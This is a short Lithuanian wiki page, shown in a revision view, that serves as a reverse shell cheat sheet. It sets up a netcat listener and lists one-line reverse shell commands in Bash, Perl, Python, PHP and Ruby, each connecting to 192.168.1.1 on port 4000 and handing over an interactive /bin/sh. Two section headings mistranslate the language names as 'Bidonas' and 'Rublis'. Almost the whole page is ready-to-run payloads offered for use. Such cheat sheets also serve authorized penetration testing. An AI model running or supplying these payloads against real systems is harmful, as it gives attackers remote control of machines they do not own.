Reverse shellai: Skirtumas tarp puslapio versijų

Iš Žinynas.
Jump to navigation Jump to search
 
(Jokio skirtumo)

Dabartinė 09:31, 18 birželio 2016 versija

Koncepcija paprasta, lokaliame kompiuteryje paleidžiamas klausymosi įrankis (šiuo atveju netcat), iš nutolusios mašinos laukiama prisijungimo bei shell redirect'o. Nutolusioje mašinoje išmėginsime įvairius metodus kol gausime tinkamiausią ir veikiantį.

Keletas faktų:

  • Nutolusios mašinos ip: 192.168.1.38
  • Lokalios mašinos ip: 192.168.1.1

Lokalios mašinos paruošimas[keisti]

Paleidžiame netcat (pasiklausymo režimu)

nc -lvp 4000

Nutolusios mašinos reverse shell metodai[keisti]

Bash[keisti]

bash -i >& /dev/tcp/192.168.1.1/4000 0>&1

Perl[keisti]

perl -e 'use Socket;$i="192.168.1.1";$p=4000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Bidonas (2.7)[keisti]

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.1",4000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Php[keisti]

php -r '$sock=fsockopen("192.168.1.1",4000);exec("/bin/sh -i <&3 >&3 2>&3");' 

Rublis[keisti]

ruby -rsocket -e'f=TCPSocket.open("192.168.1.1",4000).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'